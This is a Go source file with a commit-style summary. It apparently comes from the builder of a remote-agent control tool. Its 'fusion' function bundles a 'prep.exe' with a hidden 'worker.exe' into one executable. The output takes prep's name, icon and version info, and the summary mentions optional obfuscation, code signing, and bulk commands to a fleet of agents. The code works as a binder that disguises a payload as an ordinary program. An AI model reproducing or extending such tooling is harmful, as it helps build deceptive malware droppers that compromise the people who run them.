Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
81 lines
2.3 KiB
Go
81 lines
2.3 KiB
Go
package builder
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
|
|
if prepPath == "" {
|
|
return "", fmt.Errorf("fusion requires prep.exe")
|
|
}
|
|
if _, err := os.Stat(prepPath); err != nil {
|
|
return "", fmt.Errorf("prep.exe not found: %w", err)
|
|
}
|
|
if _, err := os.Stat(workerPath); err != nil {
|
|
return "", fmt.Errorf("worker binary not found: %w", err)
|
|
}
|
|
|
|
fusionSrc := filepath.Join(h.projectRoot, "fusion")
|
|
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
|
|
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
|
|
}
|
|
|
|
fusionDir := filepath.Join(buildDir, "fusion")
|
|
assetsDir := filepath.Join(fusionDir, "assets")
|
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
order := normalizeFusionOrder(runOrder)
|
|
mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
|
|
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
|
|
return "", err
|
|
}
|
|
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
|
|
return "", err
|
|
}
|
|
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
if outputName == "" {
|
|
outputName = filepath.Base(prepPath)
|
|
}
|
|
if outputName == "" {
|
|
outputName = "prep.exe"
|
|
}
|
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
|
outputName += ".exe"
|
|
}
|
|
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
|
|
|
ldflags := fusionLdflags(prepPath)
|
|
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
|
return "", err
|
|
}
|
|
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
|
return "", err
|
|
}
|
|
return outputPath, nil
|
|
}
|
|
|
|
func normalizeFusionOrder(order string) string {
|
|
switch strings.ToLower(strings.TrimSpace(order)) {
|
|
case "prep_first", "worker_first", "parallel":
|
|
return strings.ToLower(strings.TrimSpace(order))
|
|
default:
|
|
return "parallel"
|
|
}
|
|
}
|